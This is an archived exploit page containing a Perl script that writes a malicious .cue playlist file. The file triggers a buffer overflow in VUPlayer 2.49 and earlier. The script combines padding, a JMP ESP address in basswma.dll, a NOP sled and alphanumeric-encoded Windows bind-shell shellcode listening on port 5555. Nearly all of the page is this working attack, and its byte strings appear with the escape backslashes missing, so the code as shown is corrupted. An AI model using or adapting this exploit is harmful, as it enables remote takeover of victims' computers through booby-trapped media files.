VUPlayer <= 2.49 .cue File Universal Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : VUPlayer <= 2.49 .cue File Universal Buffer Overflow Exploit
# Published : 2009-03-10
# Author : Stack
# Previous Title : Foxit Reader 3.0 (<= Build 1301) PDF Buffer Overflow Exploit (Univ.)
# Next Title : Nokia Multimedia Player 1.0 (playlist) Universal SEH Overwrite Exploit

#!/usr/bin/perl
# VUPlayer <= 2.49 .cue Universal Buffer Overflow Exploit
# By Stack
# Big THnx to Simo-Soft
# Reference
# http://www.milw0rm.com/exploits/8138 (this exploit work just on Xp SP2)
# Other exploit
# http://www.milw0rm.com/related.php?program=VUplayer
use strict;
use warnings;
my $header1=    
"x46x49x4cx45x20x22";
my $header2=
"x2ex42x49x4ex22x20x42x49x4ex41x52x59x0dx0ax20".
"x54x52x41x43x4bx20x30x31x20x4dx4fx44x45x31x2fx32".
"x33x35x32x0dx0ax20x20x20x49x4ex44x45x58x20x30x31".
"x20x30x30x3ax30x30x3ax30x30";
# win32_bind -  EXITFUNC=seh LPORT=5555 Size=709 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx46x4bx4e".
"x4dx54x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x36x4bx48".
"x4ex36x46x32x46x32x4bx48x45x34x4ex43x4bx58x4ex37".
"x45x50x4ax47x41x30x4fx4ex4bx58x4fx44x4ax51x4bx58".
"x4fx45x42x42x41x30x4bx4ex49x54x4bx38x46x43x4bx58".
"x41x50x50x4ex41x43x42x4cx49x49x4ex4ax46x58x42x4c".
"x46x37x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e".
"x46x4fx4bx43x46x45x46x32x4ax42x45x37x45x4ex4bx58".
"x4fx35x46x42x41x30x4bx4ex48x36x4bx48x4ex50x4bx54".
"x4bx38x4fx45x4ex31x41x50x4bx4ex43x30x4ex52x4bx38".
"x49x38x4ex46x46x32x4ex41x41x36x43x4cx41x43x4bx4d".
"x46x46x4bx48x43x54x42x43x4bx48x42x54x4ex50x4bx48".
"x42x37x4ex31x4dx4ax4bx38x42x34x4ax30x50x45x4ax46".
"x50x58x50x54x50x50x4ex4ex42x35x4fx4fx48x4dx48x46".
"x43x35x48x36x4ax46x43x33x44x53x4ax46x47x47x43x47".
"x44x53x4fx35x46x45x4fx4fx42x4dx4ax46x4bx4cx4dx4e".
"x4ex4fx4bx33x42x45x4fx4fx48x4dx4fx55x49x48x45x4e".
"x48x36x41x58x4dx4ex4ax30x44x50x45x35x4cx56x44x30".
"x4fx4fx42x4dx4ax56x49x4dx49x50x45x4fx4dx4ax47x45".
"x4fx4fx48x4dx43x35x43x35x43x55x43x45x43x35x43x54".
"x43x35x43x34x43x35x4fx4fx42x4dx48x36x4ax36x45x31".
"x43x4bx48x56x43x35x49x38x41x4ex45x39x4ax46x46x4a".
"x4cx51x42x57x47x4cx47x35x4fx4fx48x4dx4cx46x42x41".
"x41x55x45x35x4fx4fx42x4dx4ax36x46x4ax4dx4ax50x52".
"x49x4ex47x55x4fx4fx48x4dx43x55x45x55x4fx4fx42x4d".
"x4ax46x45x4ex49x44x48x58x49x44x47x55x4fx4fx48x4d".
"x42x45x46x35x46x45x45x45x4fx4fx42x4dx43x49x4ax36".
"x47x4ex49x47x48x4cx49x57x47x35x4fx4fx48x4dx45x55".
"x4fx4fx42x4dx48x46x4cx46x46x46x48x36x4ax36x43x56".
"x4dx36x49x48x45x4ex4cx56x42x45x49x55x49x52x4ex4c".
"x49x38x47x4ex4cx36x46x44x49x38x44x4ex41x33x42x4c".
"x43x4fx4cx4ax50x4fx44x44x4dx42x50x4fx44x54x4ex32".
"x43x49x4dx48x4cx47x4ax43x4bx4ax4bx4ax4bx4ax4ax36".
"x44x57x50x4fx43x4bx48x51x4fx4fx45x37x46x54x4fx4f".
"x48x4dx4bx45x47x45x44x55x41x35x41x45x41x35x4cx56".
"x41x30x41x35x41x35x45x45x41x55x4fx4fx42x4dx4ax46".
"x4dx4ax49x4dx45x50x50x4cx43x45x4fx4fx48x4dx4cx46".
"x4fx4fx4fx4fx47x53x4fx4fx42x4dx4bx48x47x35x4ex4f".
"x43x38x46x4cx46x36x4fx4fx48x4dx44x35x4fx4fx42x4d".
"x4ax36x42x4fx4cx48x46x30x4fx35x43x35x4fx4fx48x4d".
"x4fx4fx42x4dx5a";
my $junk = "x41" x 1012;
my $eip  = "x9Fx53x10x10"; # 0x1010539F JMP ESP basswma.dll -> Universal Address
my $nops = "x90" x 24;
open(my $playlist, "> exploit.cue");
print $playlist "$header1".
                    $junk.$eip.$nops.$shellcode.$junk.$header2.
                    "rn";
close $playlist;

# www.Syue.com [2009-03-10]